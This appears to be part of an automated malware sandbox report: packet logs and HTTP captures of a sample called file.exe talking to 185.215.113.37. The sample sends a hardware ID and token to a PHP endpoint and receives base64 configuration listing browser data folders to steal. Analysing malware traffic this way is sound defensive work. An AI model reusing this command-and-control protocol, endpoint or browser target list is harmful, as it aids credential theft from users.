Oct 8, 2024 08:22:17.063693047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.063703060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.063724995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.063740969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.063759089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.063776970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.063791990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.063806057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.063824892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.063841105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.063858986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.063875914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.063893080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.063911915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.063924074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.063936949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.063956976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.063968897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.063990116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.064002037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.064023018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.064038038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.064054966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.064075947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.064088106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.064099073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.064121008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.064136028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.064153910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.064168930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.064186096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.064202070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.064218998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.064234018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.064250946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.064265966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.064285040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.064302921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.064315081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.064340115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.064349890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.064382076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.064400911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.064413071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.064424992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.064456940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.064486027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.064488888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.064507008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.064521074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.064542055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.064553976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.064565897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.064606905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.113265991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.118303061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.333970070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.334011078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.334043980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.334047079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.334074974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.334078074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.334112883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.334120989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.334146976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.334197998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.334202051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.334247112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.334247112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.334290981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.334295034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.334343910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.334343910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.334378004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.334393024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.334422112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.334424973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.334466934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.334472895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.334505081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.334541082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.334542990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.334563017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.334572077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.334589005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.334620953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.334628105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.334676027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.334676981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.334718943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.334734917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.334767103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.334777117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.334800005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.334815979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.334844112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.334850073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.334897041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.334909916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.334929943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.334961891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.334974051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.335010052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.335010052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.335042953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.335052013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.335074902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.335079908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.335107088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.335139990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.335144043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.335172892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.335191965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.335206032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.335212946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.335227966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.335237980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.335256100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.335284948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.335302114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.335335970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.335344076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.335370064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.335375071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.335427999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.335453987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.335493088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.335496902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.335525990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.335536003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.335558891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.335567951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.335601091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.335611105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.335643053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.335650921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.335675955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.335685015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.335710049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.335720062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.335742950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.335747957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.335774899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.335807085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.335817099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.335839987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.335848093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.335871935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.335885048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.335905075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.335911989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.335938931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.335947037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.335972071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.335978031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.336004972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.336036921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.336056948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.336066961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.336076021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.336097002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.336103916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.336114883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.336132050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.336152077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.336164951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.336177111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.336196899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.336209059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.336229086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.336240053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.336261988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.336270094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.336294889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.336303949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.336327076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.336334944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.336361885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.336366892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.336395979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.336401939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.336429119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.336435080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.336461067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.336468935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.336493015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.336500883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.336527109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.336534977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:17.336559057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:17.336606979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:18.211451054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:18.211451054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:18.216411114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:18.216514111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:19.141635895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:19.141697884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:19.141907930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:19.141962051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:19.277203083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:19.282186031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:19.497884989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:19.497898102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:19.497906923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:19.497977018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:19.498054981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:19.507536888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:19.512511015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:19.728396893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:19.728507042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:19.741750002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:19.746511936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:20.565954924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:20.566032887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:20.604614973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:20.609421968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:20.839490891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:20.839503050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:20.839514017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:20.839524031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:20.839678049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:20.839679003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:20.841125965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:20.845875025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:21.557183981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:21.558465004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:26.558357000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:26.558532953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:27.464893103 CEST	49730	80	192.168.2.4	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.37	80	7336	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 08:22:03.614845991 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 08:22:04.306534052 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 06:22:04 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 08:22:04.314659119 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAFIDAECBGCBFHJEBGD Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 45 31 31 34 39 36 46 35 46 37 34 35 32 35 33 37 30 33 36 34 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 2d 2d 0d 0a Data Ascii: ------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="hwid"CE11496F5F74525370364------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="build"doma------CBAFIDAECBGCBFHJEBGD--
Oct 8, 2024 08:22:04.554071903 CEST	407	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 06:22:04 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6a 55 79 59 54 5a 6d 4d 6a 67 31 4d 44 6c 6a 5a 44 55 32 59 6a 42 6d 4e 57 45 33 59 57 52 6d 4e 57 4e 68 4e 54 56 6a 5a 6d 59 78 5a 47 4d 78 4d 47 46 6a 5a 54 42 68 4f 54 63 34 4e 54 64 69 59 54 68 6a 4d 57 45 79 4e 57 51 32 5a 6d 4d 79 4d 6a 51 78 4e 6a 4d 30 59 32 59 35 4e 32 4e 69 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YjUyYTZmMjg1MDljZDU2YjBmNWE3YWRmNWNhNTVjZmYxZGMxMGFjZTBhOTc4NTdiYThjMWEyNWQ2ZmMyMjQxNjM0Y2Y5N2NifHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 8, 2024 08:22:04.555706024 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBFHCGCGDAAKFIECFHD Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 46 48 43 47 43 47 44 41 41 4b 46 49 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 35 32 61 36 66 32 38 35 30 39 63 64 35 36 62 30 66 35 61 37 61 64 66 35 63 61 35 35 63 66 66 31 64 63 31 30 61 63 65 30 61 39 37 38 35 37 62 61 38 63 31 61 32 35 64 36 66 63 32 32 34 31 36 33 34 63 66 39 37 63 62 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 46 48 43 47 43 47 44 41 41 4b 46 49 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 46 48 43 47 43 47 44 41 41 4b 46 49 45 43 46 48 44 2d 2d 0d 0a Data Ascii: ------IDBFHCGCGDAAKFIECFHDContent-Disposition: form-data; name="token"b52a6f28509cd56b0f5a7adf5ca55cff1dc10ace0a97857ba8c1a25d6fc2241634cf97cb------IDBFHCGCGDAAKFIECFHDContent-Disposition: form-data; name="message"browsers------IDBFHCGCGDAAKFIECFHD--
Oct 8, 2024 08:22:04.776650906 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 06:22:04 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
